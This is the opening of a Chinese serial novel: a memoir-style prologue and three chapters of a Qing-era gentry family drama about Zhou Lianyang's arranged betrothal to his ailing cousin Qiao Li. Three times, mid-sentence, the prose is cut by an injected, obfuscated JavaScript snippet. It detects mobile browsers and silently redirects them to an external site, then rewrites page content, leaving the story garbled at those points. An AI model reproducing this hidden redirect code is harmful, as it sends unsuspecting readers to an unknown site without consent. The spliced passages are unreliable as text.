《【GB】朱衣宴烛龙》 1. 楔子 金粉红楼,怀金悼玉,那日我读了冷金的情缘,一时放不下书,吹了敞窗的风,第二日就受了寒。 那时正值倭国的束棒运动,小乔忙得脚打后脑勺。又赶上裴先生的五十大寿,前头借他的宴见了些鄂罗斯英吉利的大公,夜深了又披着满身霜雪来看我。 两人许久未同睡一床,她特意捂暖了再上来,端的细心。而我呢,沉浸在金粉故事中拔不出来,掉书袋去怨怪她,说什么“人之生譬如一树花,同发一枝,俱开一蒂,随风而堕,自有拂帘幌坠于茵席之上,自有关篱墙落于粪混之侧。坠茵席者,乔璃是也;落粪溷者,周莲泱是也。”之类。 简直要从开天辟地开始忆门庭显赫,泣到家破人亡,再过一趟如何从最年轻的留洋幼童沦落到卖身戏子的往昔。 我拽弄文辞,害口舌是非,念得她默然不言,唯苦笑连连。 小乔从未向我夸说过裴先生如何豪富,祁副手如何憨直乖巧等惹厌话,也未曾跟我抱怨过一路爬上来的困苦,更没有对我敷衍地打过套语。我半夜磨折她,终于让她罕见地出了一声长叹。 她说,今日去裴的寿宴,除获一大笔军粮外,还吃了一肚子裴关于自己年老色衰恐不讨欢心的怪话。回金雀楼,又受了我这一番唠叨。简是沉默惯了的,有时也会抱着与自己同名的猫儿,两双异色瞳,充满委屈与控诉。 她很困惑地自问着:好好的男人,为什么跟了我之后总是哭哭啼啼,要哄要抱? 小乔问出我满背冷汗。裴早年如何叱咤,人人皆知,可我偶见过一次,他“摇尾乞怜”的功夫不下于我。简副手也如是。 也许我们都有相同的隐忧——若她碰到更漂亮、更有钱、更温顺沉默的男伴,集了我们三四个一起都比不上——该如何是好? 大抵男人碰到她、陷入她的魔力,依了她的乐子,就会失去“志气”,不得不做“怨夫”了。可若论世间“阴阳”之理,多是封建世俗之观,若让“须眉”也囿于“裙钗”之内,恐还未必能做到当今女子一样。 况且,我也绝不会把她误认为别人。无论是女士,还是男人,她都与寻常的定义相差十万八千里。但她终究是一密斯。密斯乔。 小乔翻过身抱住我,没说话,想着事情。她始终搂着我,紧紧贴着我肩膀的胸脯柔软而温暖,连发烧烧得疲倦的我都觉得很舒服。 我不敢看她,只能看见一只尺素样白的手摸我的小腹,又摸更不雅的地方——屁股。她忽然把话头反抛回来:“我的性格大概很讨人嫌吧?” “你也知道?” “可你们恼我,又一直不走,拉拉扯扯,当真奇哉怪也。” 我那根短路的神经,一下子被触发了伤春悲秋的开关,“倒怪我死皮赖脸黏着你了”云云。 她叹气更深:“表哥,你们都少看点恨水的新书罢,我又不是他笔下的人物。” “你不是,你当然不爱看书里的故事。故事里的人负心前总有一阵装模作样的好,你连那好都没有。你只爱看我狼狈——我们越满身狼藉,你越开心。” 小乔笑了。暗暗灯光中,她昏昏欲睡的双眼忽然亮得可怕。被那样的目光割在肉上,人就不自觉想缩进蚝壳。 进了蚝壳,等同于钻入死胡同,擎等着蚝刀隔断肌腱,变成自动装好在盘子里的软白的肉。 却怪。这刀没有割下来,小乔抚摸我的脸。 “表哥,你不要看那种书,好么?若要听故事,你听我讲个故事。” 说完,俯过来吻我。她的吻有魔力,一触,我的心就服了,软了,便不能不听她讲的故事。 一个和人,和爱恨,和风花雪月都无关的故事。 表哥知道吗,这世间有一种群居的走地鸟,叫企鹅。企鹅活在极南的雪原,年年会与燕子一样迁徙,从大片冰原前往广阔的海,去有食物的地方,去繁殖产子,加入生命循环不息的轮回。 但总有一只,既不前往觅食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615121|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的冰缘地带,也不返回族群。不久之后,它径直朝山脉方向走,大概有数十公里。即使研究它的人类抓住它,将这动物抓回族群,它也会立即朝山脉走。 它没有食物,也没有同伴,也不可能抵达遥远的山脉,但它不会停。 “为什么呢?”我问。 她注视着我的脸,伸出手去揽我的肩膀,把额角抵在我胸前,柔声问:“是啊,为什么呢?偏离了族群的目的地,去往广袤荒诞的山脉,因为她是一个天生的疯子。” 我看见她黑眼睛里反映的我自己,心里一震:“原来你觉得自己是那奇怪的动物么!” “难道不是?我不知晓感情,同你们都不一样。我的心是一个空壳,一座空屋。” 我瞧着她,忽然觉得一阵十分的悲伤:“你作甚么说自己不知晓感情?那你对我、对裴,对简,心里装得不是感情?” “话扯远了,表哥。我是觉得你们傻,从一个疯子身上索求……”她叹气。 我便把手臂紧紧抱住她,凶蛮地吻她:“这个故事才傻,我们都不要再读别人的故事了。” “故事已是这样的故事。” “那鸟,那企鹅还没有结局。” “表哥喜欢什么样的结局呢?”她微微扬起下巴,我便知道她想抽烟,按住她的手不许。 “好的结局。愚蠢的但阖家欢乐的结局。”我说。 “那好,我会努力的。” 她伸手把床头的仿古壁灯按灭,又吻了我一吻。 我陷于发热的疲倦,快要睡着前,还听见她渐渐低下去的轻喃。 相同的故事一遍又一遍重复,那么,也许我们应当相信西西弗是幸福的。 这就是我的小乔,她虽然是个花心的人,但也长情。守信,且坚笃。我的小乔。 *《我的小乔》节选,初载一九五二年三月,海市《文人通讯》第五期,收入一九五五年文衿先生自传《琉璃玉匣吐莲花》。 2. 壹 秋风数声 十月初五,桐城周家。 今日是周老太爷的六十大寿,戏台上《八仙贺寿》已唱到末段,扮成何仙姑的小旦绿裙曳地,身段柔软地飞了个水袖。 几个站在台下的小童手捧花篮,随着锣鼓敲点同时撒花,一时间满院都是缤纷的花雨。 洒下来的花瓣好看,都是些嵌着金粉的大蔷薇花,有淘气的小丫鬟瞅准空想上去捡,被旁边穿青袄红褙子的妈妈一把拦下:“那么多的人,你上去明晃晃得招甚么眼?” 小丫鬟秋花吐舌,回头挤出一个笑:“姑奶,待会那些粗手粗脚的听差过来到处踩,泥活活的不漂亮哩!” 秋花不识货,也贪看那红的金的花瓣,可见人都欣赏那美而精巧,又未被亵渎过的无暇白璧。 可见开得再好的花,经了脏污,就一文不值、贱进泥里了。 穿红褙子的老妈妈在秋花腮上掐了一把:“大姑奶奶刚回府,老太爷高兴,伺候好了人人有赏,你可不许上去裹乱。” 没过多久,就有人往台上搬些大锣大鼓。听差踩过花瓣,这可扎了秋花的眼。她正难受着,等听见《大明春》的鼓板一起,滚唱直白,注意力就一忽儿落在戏台上了。 周老太爷第一爱文,第二爱戏,公中每月都要拨一笔内帑延请戏班。若是说上等文雅的戏班子,屈指要数京城和海市。 今日贺寿的戏班就是海市新出的戏班,台柱的旦角极善戈腔,一开嗓就是金戈铁马的激越高亢,浓转淡时,宛若行云流水。 老太爷一身黑狐皮暖袄并深青金蟒褂,暖帽下的发辫抿得油光锃亮,听一会戏,便歪在身后的紫檀太师椅上。“人上了年纪就容易乏,不得不认哪。” 有殷勤人命小厮拧了一把热手巾,亲手捧上:“谁看得出您已花甲之年?瞧着不过刚知天命!” 众人也跟着一阵哄笑,一时气氛极为和乐。 因是整寿,亲戚不少,敞厅设了五大席,内院亦张罗了女眷席次,由继妻倪何惠主位,长媳宋则玉及各房远近亲眷依规落座,不与男席混杂。 周家太爷这整岁寿宴,放在桐城本地的士绅官宦里,也算顶派头的了。他自诩生平唯有一憾事,便是仅得一子一女。 这边客席大摆,周老太太的娘家女眷坐了一桌子。老太太是继室,娘家不丰,侄外孙女儿吴绮云穿着一件半新不旧的银红掩襟小袄,手里持着一把白玉小勺,抿唇干搅碗里羹汤。 前头唱完了戏,寿宴过半,戏班又分了小戏,在内院临时搭的戏台,唱了几折,其中一折《游园惊梦》额外好,听来春风满齿,烟丝醉软。 老太爷的亲家朋友,都是有戏的人家,子女不知听过多少好戏。倪家则不然,看着光鲜,实则清贫,连带着吴琦云从小都没听过什么好曲子。 她听台上的戏文、唱腔,光是辨字都费力,更别提知道情节是什么。 同坐席一家陪客之女,倒听得津津有味,笑嘻嘻地同她搭腔,吴琦云光是僵笑迎合,都觉得十分辛苦。 戏文一折折往下演起了西游记,台上伶人正唱到浓时,一阵金鼓铮铮之响,唬得吴琦云“啊呀”一声,手一松,牙筷掷在桌上,撞得碟碗一阵响。 这下整席的人纷纷朝她看来,吴琦云脸登时红得跟烧着了也似,几乎不敢抬头看,她娘的视线更是要把她吃了一样。 “这戏唱得实在是好,我看呆了,竟磕了杯子。”一道和朗的声音从旁座传来。“秋香姐姐,你手脚麻利,给我撤了吧。还有表妹面前的骨碟,也一并换新的。” 一旁垂手伺候的大丫鬟秋香忙上去,她是个伶俐人,自然知道这磕碰是为了谁解围,细致妥帖地给吴琦云换了杯碟。 面前重归整洁,吴姑娘才敢抬头,先挨了亲娘一瞪,再慢吞吞偏头往发声之处看。 之前说话的是一个本不该出现在内院的少年,吴琦云去看时,他已转去与同席的姑娘对话。 他年貌虽小,然而眉眼清俊,文气秀雅,与旁人的穿着发型都不同:一身笔挺板正的西洋装扮,不留辫子,颈间只有一条红绳,也不戴项圈、寄名锁一类。 怪模怪样,是她从未看过的。 想了片刻,吴琦云心头微微一跳:如今许多人已不裁前额鬓发,却也无与洋人一样全剃了的,这怕不是周家出了名的“怪咖”,周家二少爷周莲泱罢? 说来这莲二爷,与她倒曾有一段渊源。母亲本是想撮合她与二少爷的,相看已久,差点与当家主母作下口头约定,哪知被周家姑奶奶截了胡。 那周大姑奶奶的亲女儿,也就是乔家表妹,据说体弱多病,长在深闺,自生下来就从未回门见过外祖家人。说是亲上加亲,其实个中有不为外人道的隐秘。 这个时候,吴琦云已贪喝了两杯果子露,觉得脑筋有点昏昏沉沉,竟然扭身去瞧乔家的姑娘。只见那乔姑娘,瘦肩圆脸,不上十岁,捏着帕子,夹一筷子菜,就要低头咳两声。 她看不大清对方的脸,隐隐约约觉得是个和气富贵的面相,却打娘胎来带一身病。 吴琦云心里有些唏嘘,又见周二少爷对乔家姑娘十分小意殷勤,不由低头暗笑:两人年岁都不大,周莲泱或长她两三岁,一板一眼地学大人来往,看着真有几分可乐。 当时吴家丢了一门高攀的好亲,虽然气苦,后来吴母又拍着胸口说幸好没成。 据说呀,那周二少爷年少留洋,学了一身不伦不类、叛逆惫赖的习气,回家梳起洋人的发型,还入了什么清教唱诗班,连四书五经都不怎么读了。 早年他书读得好,十岁便要下场考童生,后来因为什么事,不再考了,镇日在内纬厮混。 说是留过洋,学音乐,说得再花巧,不就是当洋人的戏子吗?吴家传统,可不能与离经叛道的人有牵扯。 台上换了一折戏,台下众人又过一轮杯盏,坐在上首的,都是上了年纪的老亲,此时已露出几分乏意。 坐在下首的年轻少爷们,有不常吃酒的,正当熏熏然醉意上脸,兴致倒比前头高昂不少。 当下男女大防之风骤减,周家又经手洋务商事,面上自然推崇“自然开放”,并不严禁。有那巧言善说的,趁鸣板骤打小锣响,开始行起酒令,玩耍起来。 这样一来,不觉闹得欢乐,上头周老太爷听着也可喜。唯有乔家姑娘体弱,听不得响动,捂着胸口,低低地喘起来。 “表妹可还好?咳得这么厉害,快喝点枣茶压一压。”周莲泱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615122|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用手巾揩干净手,给身旁姑娘斟一杯热的。 乔璃闷咳半晌,抬手从袖子里抽出一条小小的莲花白绸手绢。手绢中间抹了药,压在鼻子下,嗅了一阵:“……多谢表哥,不妨事,只是寻常气喘。” 周莲泱思忖片刻:“你再忍忍,我现在去秉老太太。就说我吃多了酒,你扶我先离席。” 他与表妹只见过几面,并不清楚对方的性格。若是寻常闺秀,说不得要忍耐推拒几回,他也做了劝说的准备——他自己离经叛道惯了,早就有一套劝人的法门。 斜侧的姑娘果然撤下手绢来,在唇角按了一按,细眉微蹙。 “那自然好,谢谢表哥了。”“表妹莫要推拒,若有人怪罪起来……” 两人同时一顿。 一双月明如水的桃花眼在帕子后微微弯起:“有人怪罪,就全都推到表哥头上?” 周莲泱先是一怔,随即也笑起来:“表妹这话,正猜到我心眼儿里去了。你坐着,我去去就回。” 一语刚了,周二少爷急匆匆离去,又急匆匆回来,回来便笑:“就道是小事。妹妹,让秋香扶你走罢。” 能率先离席,乔璃自然应允,搭着秋香的手站起来。两人从侧门离了外院,顺着回廊往后走。 坐时不觉得,站起来周莲泱才发现,乔表妹虽少他三岁,身量却不差许多了。虽然一副弱不禁风的样子,脚步却又稳又快。怕是坐倦了,早急着走呢。 周莲泱以为自己发现了表妹的小秘密,自顾自笑得可欢,不妨扫到一双静沉沉清到冷冽的眼,顿时后背冒汗:“……表妹为何这样看我?” “瞧表哥似想起什么十分有趣的事,瞒着不肯跟人分享。” 少年眼睛一转:“不对不对,你不是这个意思。” “那我是什么意思?” “你想说——我肚子里怀着什么坏水,对不对?” 姑娘本来在好好地往前走,忽然脚步一停,周莲泱循着惯性走了几步,才发现她没跟来,连忙掉头拱手:“表妹别多心,是我行止不当,不该多嘴……” “表哥。”没等他赔罪完,乔璃打断他的话,“你不觉得,离了人多的前院,这大宅子里,就冷得有些发荒吗?” 周莲泱直起身,心下轻咦,但顺着她的话想,又好像是这么一回事。 须知自清乾年间起,周家便是桐城一带有名的书香门第,家中几代人皆以文章名世。老太爷年轻时科举中了进士,选入外班,官至知府,后因朝廷衰颓、“太平拳匪”作乱,便早早辞官归隐,避开风头。长子蒙其余荫,进了道台衙门,家中不缺金钱的花用。 周家大宅前后左右,隔着街道本来还有几处府邸,可前阵子“匪祸”谣言疯传,已有两家搬去京城,投靠亲戚去了。 算是周家家大业大,一时不好挪动,即便如此,也多雇了好些男仆听差,放在在外院伺候。 “莲二爷,乔姑娘。”秋香上前一步,重新托了乔璃的手,“今秋冷得早,眼下已经起风了,我们快快回屋吧。” 是啊,起风了。周莲泱松了松紧到最顶上的领口。 秋意还未尽,突然刮起风,好像是冬寒提前来了似的,侵来一阵茫茫的冷。 3. 贰 愁看泪哭 迦佛国统宣二年,刚进腊月就天寒地柝的冷,干冷不见雪,冻得人离不了暖炕棉衣。树也枯得早,郊外林子里,不老青松都分外萧疏。 大宅正屋里,周老太爷盘着手里的佛珠串,一颗颗玛瑙珊瑚早被摩挲得圆润油亮。外表看不出来,他其实极少有这么心绪烦乱的时候。 周生广看着立在座下的大夫,和屏风后面色平静低郁的亲女,终究还是只落下一声叹息。 “罢了,这也是纯儿的命数!” “老太爷,是在下医术不精……” 周生广大手一挥,阻了他接下去的话语:“安大夫莫要妄自菲薄,你已是桐城顶有名的圣手。纯儿是多年心病,你医不好,难道我一把老骨头,要舍了老脸递折子请宫中太医么!” 后话外人听不得,安立荣一揖,辞别周老太爷。 待他走后,一旁的周继纯膝行上前,把额头抵在冰凉的地砖上哭道:“身体发肤受之父母,纯儿不珍己身一意孤行,落到今日田地,怪不了任何人……万望父亲保重自身,若是因纯儿之病伤了心,那纯儿真是万死难辞其咎!” “你这孩子,说什么死不死、活不活,介日挂在嘴上,身体能好?”周老太太眼角余光看了一眼老太爷,便知自己说对了。“春桃,还不快扶大奶奶起来?” 周继纯不理春桃,跪地不言,只是不住垂泪。 她长相文雅素淡,自小在周家娇养,然而多年抑郁,眼角已生出不少细纹,敛眉低泣的模样,像极了早死的发妻。周老太爷默然半晌,长叹一声。 “璃儿今日如何?可还咳得厉害?” “回父亲,许是在家住得舒坦,已好几日未咳了。” 提及女儿,周继纯暗淡疲倦的脸上忽然闪出光彩。 “也罢,好生养着。木生,去把大爷请过来,我有几句话吩咐。”周生广的语气愈发平静,叫人把跪在地下的女儿扶起来。 “至于泱儿和璃儿的婚事……哪怕前年提过,怎么也要正式知会你的哥哥、嫂子,交换契书、约定婚期,草率不得。” “这极周全,老太爷指教得是。” “你早些年若听进我一句指教,也不会有今日这一幕!” “爹,爹!我知错!女儿苦啊!女儿委屈!” 周继纯挣开春桃的手,往前一扑,直直跪在周生广膝下。她十八出嫁,不顾亲爹阻拦硬是跟了个穷秀才,谁知两人未好上几年,她生女儿坏了身体,再无所出。 借周家之势考上举人做了官的秀才背信弃义,纳的妾也狗仗人势……自己才过三十,身体已是灯尽油枯,没几日好活。 “璃儿才十岁,十岁,尚未及笄,女儿看不到璃儿及笄了!爹啊!” 三十年父女,女儿承欢膝下的时间最多,发妻早逝,父女之情溢于言表。周生广看着泣涕不止,彻底抛了大家贵妇的脸面不要,只为外孙女求一个出路的周继纯,满心白发人将送黑发人的苦涩难言。 “纯儿,纯儿啊……你放心,放心。泱儿一向聪明伶俐,又是我们家唯一留过洋的,将来大有前途。璃儿与他,亲上加亲,往后再没有不顺的。这些话不准再说。”周生广切切嘱咐道。 “爹,可璃儿的身体……怕是二八前都不能开枝散叶……” 这又是周继纯心中一大隐忧。乔璃胎中带病,看了无数名医,都道不出二三,只能靠流水的贵重药材,细心养着伺候着,只待看及笄后能不能有所好转。 若不是日常花费甚巨,乔翊之也不至于抓住一个由头,搞出一众外室如夫人,弄得家里乌烟瘴气。 “操那么多心,身体如何能好起来?你放心将养吧,还怕你哥嫂亏待了亲妹子的女儿不成?”周老太太起身,亲自握了继女的手,周继纯便再不敢继续嚎哭了。 她看着面前比老太爷年轻不少、无所出但身体一直硬朗的老太太,想起因产后病早逝的亲娘,心中真是酸苦难当。 娘啊,若你还活着,纯儿何至于如此无依无靠?可到临头,她又像母亲一样,让自己的亲闺女幼年失恃,真真是死也放不下心,闭不上眼!娘啊! 郁结难疏,一时气血攻心,周继纯索性发了狠地回忆过往种种苦事,硬生生逼出一口血,呕在父亲面前,站立不稳,靠着高椅缓缓倒下。 今日她便是死,也要将这桩婚尽快栓定! “纯儿!”周生广再压抑不住惊容,“来人啊!快叫人,快把安大夫请回来!” ------ 正午的阳光很好,照在小书房的多宝阁上,甜白瓷的花瓶里插着几支新折腊梅,还沾着露水,被照得闪闪发光。 周莲泱还有好几页拗口难懂的拉丁文要背,坐在桌前心焦气躁,起来转几个圈,终于按捺不下去心里的烦闷。 两年前家里给他与周大姑奶奶的女儿乔表妹定亲的时候,他年纪还不大,一心想着去欧罗巴留学的事,还没有理解这意味着什么。 直到前两天老祖宗把他和妹妹一起叫过去嘱咐了几句话,周莲泱才惊觉,自己这是要娶乔妹妹,真的办婚礼了。 周大姑奶奶撑着日益衰弱的病体,尽心规划操办,哪怕周家大爷和妻子态度暧昧不明,两天前,也在老祖宗面前,正式定了三月十三(正历3月27)的婚期。 周莲泱想了半天,还是决定拿请安为借口,跑去父母在的正房。 正房里伺候的仆人全都在院子里,按照他对父母的了解,大概是在“关起门说私房话”。他人虽小,动作却灵巧,耳力也好,避开人绕到后院,藏在窗下的草丛中,能听到模模糊糊的对话声。 “……妹妹拖着病体,硬是拴这桩婚,脸面都不要了……我们好好的泱儿,凭什么拿去给人‘冲喜’?冲喜从来只有嫁,没有娶的,这叫怎么个事儿啊。” “好了,两年前就定下来的婚,你现在多什么嘴?” “我多嘴?我是觉得泱儿委屈!行知娶得是单家的姑娘,有名有姓的大家闺秀,将来也能主掌中馈。泱儿……泱儿这样,显得我待他格外不好似的。” “泱儿是二子,影响不了什么。况且我娘……还有外祖母留下来的东西,都在继纯的嫁妆里。她的嫁妆,全部都要添给璃儿,这一番实惠,你还有什么不满?” “……周自谨,你什么意思?像我擎等着孤儿寡母的钱,要吞了人家全部家私似的!你也不看看,那乔大姑娘,一身胎里带出的病,你不管泱儿,我还要管!” 宋则玉按捺不住,嚷起来,手里的帕子杯子都摔了,茶杯跳着,砸落到地面上,“哗啦”一声,打了一个粉碎。 “好啊!我与你讲理,你倒耍起性子来!泼妇!” 听到这里,周莲泱再待不下去,他只觉心里异常烦闷压抑。 无论是母亲的话,还是父亲的话,都跟潮烂烂湿透了的旧棉衣似的,死死包着他的身体,把阴霪挤进尚还天真纯粹的五脏六腑,挤出无穷无尽的霉斑。 这个时候,他知道,绝对不能去看父亲母亲的脸——那已经不是他熟悉的面孔了。 周莲泱一溜烟逃跑了。他心下烦郁,就格外想见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615123|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一见表妹。不知为何,他总觉得表妹是不一样的。 但从定完婚期开始,哪怕同住一宅,乔家姑娘也不能轻易见到外祖家人,她随母亲住在临近后花园的客院里,闭门不出。 即使是嫡亲的女儿孙女儿,出嫁回家,也就是客了。周莲泱不懂,他素来叛逆,又去欧罗巴泡了一年西洋的洗澡水,即便被耳提面命过不许找乔妹妹,也到底“翻山越岭”,躲过一众小厮丫鬟,从后花园绕进居客的小院。 周大姑奶奶周继纯的院子,是非常非常静的。周莲泱不是第一次踏进这个小院,可仍然打心里为这种寂静感到震惊。 无论是在他父母的院子里、哥哥弟弟的院子,还是周老太爷的院子,脚步响、杯碟碰,嬉笑怒骂,连衣料摩擦都有声音。这主仆四人缩在一处小院,竟能镇日无声无息。 院子里的静是缺乏活力的静,更像死水一潭,难起波澜。 周大姑奶奶带回家的,只有一个嬷嬷、一个大丫鬟,都是前头的周老太太还在时,调教出来随婚的忠仆。老嬷嬷姓林,鬓发已银白,是姑奶奶的奶嬷嬷。 周莲泱曾见过一面,那老嬷嬷的眼,与大姑奶奶的眼是一模一样的,又静,又深,只在看见乔璃的时候,闪出一点活动的光。 他那时不明白,后面才慢慢懂了,人的眼睛,只会在极少数的情况下变成那样——在人彻底没了盼头的时候。 周大姑奶奶周继纯,病入膏肓,不日就要死了。 周莲泱不敢仔细去想了。他弓着腰,顺着墙根悄悄走到乔家妹妹的闺房。周大姑奶奶带着大丫鬟秀云去了正院,屋里只有乔璃和照看她的林嬷嬷。 周莲泱不知道她在做什么,也不敢往窗户里看——他虽然叛逆,还没那么不知礼,只敢屈起指节,按照约定过的那样,快而轻地在窗棂上叩两下。 一时没有回应,屋子里只有林嬷嬷沙哑憋闷的咳嗽。 少年一时不知是再叩一次,还是就蹲在窗下等。又过了半柱香,等到腿微微发麻,周莲泱听见极轻的“搁楞”,然后就是一声轻柔低缓的“表哥”。 隔着窗户,乔璃的声音却像贴着他耳朵似的,周莲泱的脸“唰”得一下红透了:“……妹妹,我来了。身体可还好?” “前几日有些气喘,已好了。表哥为什么一直背着我?” “我不能看你。照理说,婚礼前,是不能看新娘子的。” 清冷的一阵风,吹散了轻而细的一片笑。待了片刻,姑娘哑着嗓子道:“多谢表哥替我着想。” 少年面上的浮红晕得更深了,翩跹着抹到耳朵,他心里的思绪也翩跹着,想身后人的柳叶弯眉下墨沉沉的桃花眼,是不是也如梅花上的清霜一样湿润润的;想隔着窗棂的她的心,是不是也如自己一样跳得如春日里的马驹似的。 “妹妹,我今日实在不知礼数,但又实在想与你说一句话。” 姑娘没有说话,只轻轻“嗯?”了一声。 她不说话,反倒给了周莲泱勇气,撑着嗓子:“我……我谙熟清教教旨。清教,你知道么?只能一夫、一妻。我会待你好的。我会待你好,一直待你好。” 说完,他不好意思听乔璃对自己这大话的回答,低头就要跑。又听见细细的一片笑,阳光一样,绕着他,蒸走湿衣服的阴冷。 那片笑里,有没有一声“好”,周莲泱听不清。那就当有这一声“好”。 君子一诺千金,他许了诺,便决意践行,哪怕经受这不止的冬雪,两人的心若能靠在一起,便也是春风和细雨了。 4. 叁 梦蝶非我 “咱们大爷啊,前两日差事办得好,听说又升官了呢! “可不是,要说这阖府上下,如今全靠着大爷的能为差事。洋人的东西到底没用,只能讨一时的花巧,终究是上不得台面的东西。” 说话的大丫鬟看模样还不到二八,鹅蛋脸尖下颏,戴两个翠生生的耳坠子,头上一根足金的簪,背着光站在一处院子前和另一个小丫鬟说嘴。 这丫鬟声音不小,让路过的乔璃听了个正着。眼前的院子修得精致气派,与主屋也不差多少,顺着客院的回廊走去拜见周老太太,不知怎就走到了这里。 乔璃听见声音,看了丫鬟两眼,只看到一双吊梢眉,丹凤眼,涂得艳艳的红嘴唇,还有把雪青袄子绷得紧紧的腰身。那丫鬟也趁机将眼风扫过来,毫不客气地一瞪。 她脚步一停:“那是周大哥哥的婢女吧?” 身前引路的老妈妈顿了一顿,等了片刻,见她不动,才道:“回姑娘的话,她是周大爷院的大丫鬟喜儿。” 老妈妈是周夫人派来的伺候老了的仆妇,姓季,说是怕周大姑奶奶指使不开人,过来照顾乔姑娘,顺便在婚期前熟悉周家的规矩。 少女垂眸片刻,忽然笑道:“我听说,周大哥哥任职的道台,做得也正是洋人的生意呢。怎么,家中还有瞧不起洋人的?” 季嬷嬷眉头一皱,语气冰冷而恭敬:“姑娘,这官场上的事复杂得很,便是我们这些粗使的老人,也知里头水深。妇道人家若不慎多言,学丫鬟嚼舌,传出去可就难听了。老太爷疼爱小辈,自然不会苛责,但旁人嘴碎,岂能不防?” 喜儿耳朵尖,哪怕季嬷嬷压低了声音,也听了个大概,扭头向季嬷嬷溜了一眼,撇嘴道:“燕儿,我教你一句乖,别看天天姑娘姑娘的叫,其实咱们到底是丫鬟,低贱着呢。说一句实话,就是嘴碎。要是说多了呀,那就完了,好容易养出两条烂命,可都得赔个底掉!” 燕儿胆小,顶着季嬷嬷的视线,怯怯地拽拽喜儿的袖子:“你又拉扯这些做什么?嘴里不干不净的,小心大爷也讨厌你!” “他讨厌,他讨厌就讨厌!”喜儿把帕子一甩,径直往院子里去了。 季嬷嬷究竟年纪老,手踹在袖筒子里,稳当当地做什么都没听到:“姑娘,时候不早了,拜见老太太,可不能迟。” 按理,自然有另一条不必经过周大爷院子的回廊通向老太太在的主屋,再不晓事的,走过几次,也该记得。季嬷嬷一边走,一边用眼角余光留意身后姑娘的神情,若是寻常心思重、性子敏感的闺秀,此刻已该慌了神。 这乔姑娘倒与她想的不一样,前头不紧不慢地带路,后头也不紧不慢地跟着走,面上还带着一丝染着喜意的笑,端的稳得住。 祭出喜儿,已是过了,若是再寻人作扰……季嬷嬷心里叹口气。最后恐成自己的不是,夫人更不快。 进了周老太太的主院,季嬷嬷便退下,有老太太的仆妇与丫鬟进来接引,将乔璃一路引到老太太坐卧起居的正房内。 正房通透,便是冬日里半阴不雨的天,有丝光,室内就显得开阔亮堂,与客院大不一样。邻窗大炕铺了暖色软毡,一应靠背引枕摆得整齐,地下还有四张高背靠椅,并花瓶摆设不等。 丫鬟扶着乔璃进来,她按照惯常的要往椅子上坐,老太太慈爱一笑,让大丫鬟扶她上炕。房外接着有婢女进来,捧了两碗红枣燕窝羹并桃酥小点,摆在洋漆炕桌上。 周老太太笑呵呵地端起一碗燕窝粥,不喝,只用小银勺搅了搅:“眼见天黑得早,人也失了时律。你身子弱,若是饿,尽管叫人去大厨房。” 乔璃低头应了,顺势喝两勺燕窝粥,又啃了一口烤得喷香的桃酥。 周老太太见她放下碗,便缓缓开口,语气是一如既往的慈和:“好孩子,如今你母亲愿意亲上结亲,咱们周家自当替她好好照看你,养你一生无忧。” 乔璃道:“谢老太太。” 她顿了顿,目光落在少女身上,语气越发温和:“你年纪还小,往后嫁了人,最要紧的是安分守己。家宅之中,妇人当知进退,不争不抢,方能久安。” 少女又摸了一块桃酥,放进嘴里,松鼠一样慢慢啃。母亲向来不许她多吃甜的,老太太嗜甜,正屋的点心都放足了糖,她虽然耐性好,憋久了也忍不住。 周老太太见她如此,不由敛了神色:“周家素来家风清正,家中长幼有序。等你进了门,日后理当上扶兄长,下教弟妹,省得让旁人议论,说你们夫妻不懂分寸。周家虽说谈不上钟鸣鼎食,却也是书香门第,家声清白,小辈端庄自持,不惹是非,才不损周家的名声。” “不损周家的名声。” 乔璃放下桃酥,拿起帕子擦擦嘴,然后一字一顿地重复周老太太的话。末了,挑唇一笑。 她不似其母那种深目削颊的美人面,而颇为珠圆玉润,是老一辈喜欢的“福相”,只是毕竟病得久,白玉色的小脸透着青苍,嘴唇抹了一点点胭脂,也将吃进去了。可仅是一笑,没有血色也丰润的唇便展露出可喜的弧度,薄薄的眼皮微弯,长长的桃花眼就深深地盈了光。 “孙女晓得了,定规劝莲少爷,不损周家名声。” 即将褪去的一抹光照在她安稳的神色上,一半亮一半暗,倒多了几分飘飘拂拂的禅意,重复的话语,配上她的神情,倒让普通一句话多了几分意味深长。 周老太太瞧她这样,一时心底微微生疑,却伸手抚了抚她的额头:“你若能明白,周家自不叫你受委屈。” 正屋里,婢女一盏盏加了灯,老太太才放乔璃出门。她一走,坐得挺直的老太太就歪倒引枕上,陪嫁的奶嬷嬷连忙上前,捶背捏腿,好一阵伺候。 